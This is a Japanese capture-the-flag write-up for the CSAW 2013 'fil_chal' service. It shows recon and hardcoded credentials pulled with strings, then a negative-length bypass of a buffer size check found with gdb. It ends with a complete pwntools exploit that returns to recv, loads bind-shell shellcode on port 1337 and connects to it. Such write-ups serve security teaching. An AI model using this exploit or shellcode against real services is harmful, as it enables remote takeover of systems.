問題ファイルはここ。 今回もバイナリだけ。
$ file fil_chal
fil_chal: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=e6e7d1f8a7d1b6fea2e862816b795ac1410fa3af, stripped
NXビットは有効ではない。
$ ~/checksec -f fil_chal
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 5 fil_chal
straceで動きを見てみると34266番ポートを開けていることがわかる
$ strace ./fil_chal
~snip~
bind(3, {sa_family=AF_INET, sin_port=htons(34266), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
~snip~
ncで繋ぐとユーザ名とパスワードを求められる。 適当に入れても認証はできない
$ nc localhost 34266
************* $$$$$$$$$ AAAAAAA ***** *****
* ******* * $ $$ $$ A A * * * *
* * *** $ $ $$ A A A A * * * *
* * $ $ A A___A A * * * *
* * $ $ A A * * **** * *
* * $ $ A AAA A * * * * * *
* * *** $ $ A A A A * *** *** *
* ******** * $$$$$$ $ A A A A * *
************* $$$$$$$$$$ AAAAAA AAAAAA *************
Dairy
UserName: AAAA
Password: BBBB
Invalid credentials
strings でバイナリ内の文字列を見てみると怪しいモノがある
$ strings ./fil_chal
~snip~
csaw2013
S1mplePWD
~snip~
試してみると認証を通ることができた。 そして数値を求められる
UserName: csaw2013
Password: S1mplePWD
Welcome!
http://youtu.be/KmtzQCSh6xk
Entry Info: 100
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Til next time
IDA でこの辺りの処理を見てみると入力された値とバッファのサイズ(0x400)を比較している。 しかし、何故か比較直前に値を+1しているので"-1"を入力すると比較を通ることができる。 -1は32bitで0xFFFFFFFFなのでバッファのサイズより大きくオーバーフローを起こせる。 実際に試してみる。 まずはgdbでプロセスを見てみる
gdb-peda$ ps aux | fgrep fil_
ubuntu 3924 0.0 0.0 2028 280 pts/10 S+ 14:16 0:00 ./fil_cha
次に別ターミナルからncで繋ぐとプロセスが増えている。
gdb-peda$ ps aux | fgrep fil_
ubuntu 3924 0.0 0.0 2028 280 pts/10 S+ 14:16 0:00 ./fil_cha
ubuntu 3940 0.0 0.0 2028 60 pts/10 S+ 14:17 0:00 ./fil_cha
実際に攻撃をするのはフォークしてできたプロセスなので、新しく出てきたプロセスにアタッチする。 そしてオーバーフローした場所を特定するためのパターンを生成してncから入力。
gdb-peda$ attach 3940
gdb-peda$ pattc 0x500
gdb-peda$ c
Continuing.
入力するとオーバーフローを起こして停止する。 調べると1056文字以上入力すると停止するようだ。
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x306e4161 ('aAn0')
ECX: 0x0
EDX: 0xf76fc000 --> 0x1aada8
ESI: 0x0
EDI: 0x41466e41 ('AnFA')
EBP: 0x6e41626e ('nbAn')
ESP: 0xff99c7e0 ("AncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngAn6AnLAnhAn7AnMAniAn8AnNAnjAn9AnOAnkAnPAnlAnQAnmAnRAnoAnSAnpAnTAnqAnUAnrAnVAntAnWAnuAnXAnvAnYAnwAnZAnxAnyAnzAC%ACsACBAC$ACnACCAC-AC(ACDAC;AC)ACEACaAC0ACFACbAC1AC"...)
EIP: 0x476e4131 ('1AnG')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x476e4131
~snip~
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x476e4131 in ?? ()
gdb-peda$ patto $eip
1198407985 found at offset: 1056
EIPを自由に飛ばせるようになった。 NXビットが有効になっていないので適当な場所にシェルコードを格納し実行させる。 今回はdata領域を使うとする。
from pwn import *
TARGET = "localhost"
PORT = 34266
addr_recv = 0x8048890 # objdump -d -j .plt fil_chal | fgrep recv
addr_data = 0x804b000 # readelf -S ./fil_chal | fgrep data
size_buf = 1056
# http://shell-storm.org/shellcode/files/shellcode-882.php
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"
r = remote(TARGET, PORT)
r.sendline("csaw2013") # user name
r.sendline("S1mplePWD") # password
r.sendline("-1") # entry info
payload = "A" * size_buf
payload += p32(addr_recv)
payload += p32(addr_data)
payload += p32(4)
payload += p32(addr_data)
payload += p32(len(shellcode))
payload += p32(0)
r.sendline(payload)
time.sleep(1)
r.sendline(shellcode)
pwnd = remote(TARGET, 1337)
pwnd.interactive()
オーバーフローを起こしてEIPをrecv@pltに移す。 そしてrecvで受け取ったシェルコードをdata領域に格納した後、data領域にEIPが移るようにしている。 シェルコードを送る際に少し遅延させないとうまく動かなかったりするので"time.sleep(1)"を入れている。 シェルコードの内容は1337ポートを開けるものなので最後にpwntoolsの機能を使い接続している。 動かすとうまくいっていることがわかる。
$ python writeup.py
[+] Opening connection to localhost on port 34266: Done
[+] Opening connection to localhost on port 1337: Done
[*] Switching to interactive mode
$
おわり